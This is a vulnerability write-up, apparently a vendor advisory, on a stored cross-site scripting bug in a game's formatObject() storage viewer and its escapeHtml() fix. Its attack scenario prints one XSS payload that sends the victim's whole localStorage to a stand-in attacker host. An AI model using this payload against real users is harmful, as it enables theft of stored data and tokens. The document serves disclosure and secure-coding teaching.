Summary
The formatObject() pretty-printer used to build the key-configuration storage viewer interpolated object keys and array key/value pairs directly into an HTML string that is later assigned with innerHTML. Only string values were passed through escapeHtml(), so a crafted key name persisted in localStorage could execute script every time a user opened the storage viewer. The fix wraps the index-pair branch and the object-key branch in escapeHtml(), keeping the raw path only for non-colorized (plain-text) output.
Introduction
A high-severity cross-site scripting hole lived in a debugging convenience: the recursive formatObject(_obj, _indent = 0, { colorFmt = true, rootKey = '' }) helper that renders stored key-configuration objects into a human-readable, color-highlighted block for the in-game storage viewer.
The function was mostly careful. Leaf string values went through escapeHtml(). Certain fields went through escapeHtmlForEnabledTag(), which intentionally lets a small set of formatting tags survive so authors can style labels. But the structural parts of the output — the object keys, and the key: value pairs produced when walking a flat array of key-config entries in groups of _numOfSet — were interpolated into the template literal with no encoding at all:
result += `<br>${nestedIndent}${_obj[j]}: ${_obj[j + 1]}`;
// ...
return `<br>${nestedIndent}"${key}": ${formattedValue}`;
Because the assembled string is handed to a collection formatter that performs an innerHTML assignment to display the stored data, anything living in a key position became live markup. This is the classic shape of an escaping bug that static analysis catches and humans miss: the sanitizer exists, it is imported, it is even called three lines away — it simply was not called on the one interpolation that carried attacker-influenced text.
If you maintain code that pretty-prints JSON-ish structures into the DOM, this is worth reading carefully. Key names are data too.
Affected Versions
| Affected | not applicable (first-party code) — the formatObject() helper prior to the output-encoding fix |
| Fixed in | not applicable (first-party code) — fixed in the commit that adds escapeHtml() to the key and index-pair branches |
| Ecosystem | not applicable (first-party browser JavaScript) |
| CVE / GHSA | not assigned |
| CWE | CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') |
There is no package to upgrade. If you run a fork or a vendored copy of this player script, you need to apply the encoding change yourself.
The Vulnerability Explained
The two unescaped interpolations
formatObject() has two relevant branches. The first handles flat arrays that represent key-config tuples. When the current rootKey matches one of the recognized configuration roots, the function walks the array _numOfSet elements at a time and prints the first two entries as a name: value pair:
if (_list.findIndex(val => val === rootKey) >= 0) {
let result = `[`;
for (let j = 0; j < _obj.length; j += _numOfSet) {
result += `<br>${nestedIndent}${_obj[j]}: ${_obj[j + 1]}`;
_obj[j] and _obj[j + 1] come straight out of the deserialized storage object. Neither is escaped.
The second branch is the generic object walker:
: Object.entries(_obj).map(([key, value]) => {
const formattedValue = getNextObject(value, rootKey === `` ? key : rootKey);
return `<br>${nestedIndent}"${key}": ${formattedValue}`;
})
formattedValue is produced by the recursive descent and, for string leaves, has already been escaped. key has not been touched. The surrounding quotes in "${key}" are cosmetic JSON styling — they are plain text in the HTML stream and provide no containment whatsoever.
The output of formatObject() is accumulated by the collection formatter and ultimately written into the storage-viewer element with an innerHTML assignment. That makes the whole chain a sink: deserialized localStorage object → unescaped key interpolation → innerHTML.
Why key names are attacker-influenced
"It's my own localStorage, who cares?" is the reasoning that lets this class of bug ship. Three things break it in this code path:
- Key configurations are shareable artifacts. The custom key-config structure is the kind of blob users import, paste, and trade between installs. An imported config brings its own key names, not just its values.
- Add-on scripts write the same storage. Player installations commonly load per-work customization scripts. Any one of those can write arbitrary keys into the persisted config object; the storage viewer then renders them as markup.
- It upgrades a one-shot injection into a persistent one. Any transient script execution on the origin — a reflected issue elsewhere, a malicious add-on run once — can plant a key name and leave. The payload re-fires every time the victim opens the storage viewer, long after the original vector is gone.
Attack scenario
An attacker publishes a "key config preset" for a popular chart. Inside the config object, instead of a benign control name, one key is:
<img src=x onerror="fetch('https://attacker.example/c?d='+btoa(JSON.stringify(localStorage)))">
The victim imports the preset. Nothing happens at import time — the value is only stored. Later, the victim opens the key-configuration storage viewer to check which presets are saved. formatObject() walks the object, hits the generic branch, and emits:
"<img src=x onerror=...>": {...}
That string is assigned via innerHTML. The browser parses it as an element, the onerror handler runs on the game's origin, and the entire localStorage — saved scores, high-score records, display settings, any auth-ish token the deployment keeps there — is exfiltrated. The same payload could instead silently rewrite scores, redirect the player to a look-alike page, or inject a persistent listener that captures every subsequent interaction.
The array branch gives an attacker a second, quieter route: the _obj[j] / _obj[j + 1] pair is printed without even the cosmetic quotes, so a tuple entry is injected as bare markup in a context where the viewer is explicitly expected to contain only key names and numeric codes.
Real-world impact for a deployment: full same-origin script execution triggered by a normal user action, with persistence across sessions because the payload lives in storage rather than in a URL.
The Fix
The change is small and surgical — it adds the missing escapeHtml() calls at exactly the two interpolations that were raw.
Before — index pair rendered raw:
result += `<br>${nestedIndent}${_obj[j]}: ${_obj[j + 1]}`;
After — both halves of the pair encoded:
result += `<br>${nestedIndent}${escapeHtml(_obj[j])}: ${escapeHtml(_obj[j + 1])}`;
Before — object key rendered raw:
return `<br>${nestedIndent}"${key}": ${formattedValue}`;
After — key encoded when the output is HTML:
const formattedKey = colorFmt ? escapeHtml(key) : key;
return `<br>${nestedIndent}"${formattedKey}": ${formattedValue}`;
Two details are worth calling out.
Why the object-key branch is gated on colorFmt. formatObject() serves double duty. With colorFmt = true it produces the markup that ends up in innerHTML; with colorFmt = false it produces plain text for copy/export and diagnostic use. Escaping keys unconditionally in the second mode would corrupt exported configurations — a key containing & would come back as &. Tying key escaping to colorFmt keeps encoding aligned with the output context, which is the correct rule: encode for the sink you are actually writing into, not everywhere.
Why the array branch escapes unconditionally. That tuple-printing path exists to render the colorized key-config view; there is no plain-text consumer of its name: value layout to preserve, so the simpler unconditional escape is appropriate and leaves no colorFmt edge case where raw data could slip through.
Together, the two changes close the gap between "values are sanitized" and "everything that reaches innerHTML is sanitized." formattedValue was already safe via the recursive descent; after the fix, the keys and tuple entries that frame it are too.
Key Takeaways
- Object keys are untrusted input.
formatObject()escaped every string value it printed and still shipped an XSS, becauseObject.entries()hands you akeythat nobody thought of as data. Any pretty-printer that writes toinnerHTMLmust encode keys with the same rigor as values. - Cosmetic quoting is not containment. Writing
"${key}"to mimic JSON gives an attacker no obstacle at all — the quotes are text nodes in the HTML stream, not an attribute delimiter. - A whitelist sanitizer is not a general-purpose escaper.
escapeHtmlForEnabledTag()intentionally lets formatting tags survive; it can never be the right choice for structural output like key names. Reach forescapeHtml()there. localStorageis an attacker-reachable source when configs are importable. The custom key-configuration blob is traded between users and written by add-on scripts, so rendering it is rendering third-party data — and it makes injections persist across sessions.- Tie encoding to the output mode. The
colorFmt ? escapeHtml(key) : keypattern is the right shape for a function that emits both HTML and plain text; a single unconditional escape would have silently mangled exported configurations.
How Orbis AppSec Detected This
- Source: the deserialized custom key-configuration object read from
localStorageand walked byformatObject(_obj, _indent, { colorFmt, rootKey })— specifically thekeyreturned byObject.entries()and the_obj[j]/_obj[j + 1]tuple entries in the array branch. - Sink: the
innerHTMLassignment performed by the collection formatter that rendersformatObject()'s output into the key-configuration storage viewer. - Missing control: HTML output encoding on key positions.
escapeHtml()was applied to string leaf values andescapeHtmlForEnabledTag()to tag-bearing fields, but neither was applied to object keys or to the index-pair entries, so those flowed into the markup verbatim. - CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
- Fix:
escapeHtml()is now applied to_obj[j]and_obj[j + 1]in the tuple branch and, whencolorFmtis true, tokeyin the object branch before interpolation.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This was not a missing sanitizer — it was a sanitizer applied to 90% of the data. formatObject() carefully escaped the values it printed and then framed them with unescaped keys, and because the result is written with innerHTML, a key name was all an attacker needed. Shareable key-config presets and per-work add-on scripts make that storage object reachable by third parties, and storage-backed payloads re-fire on every visit to the viewer.
The remediation is the right one for a dual-purpose formatter: escape the tuple entries unconditionally, escape object keys when the output is HTML (colorFmt === true), and leave the plain-text export path byte-identical. If you maintain a fork or a similar recursive DOM pretty-printer, audit every interpolation that lands in an innerHTML string — including the ones that "only" hold key names.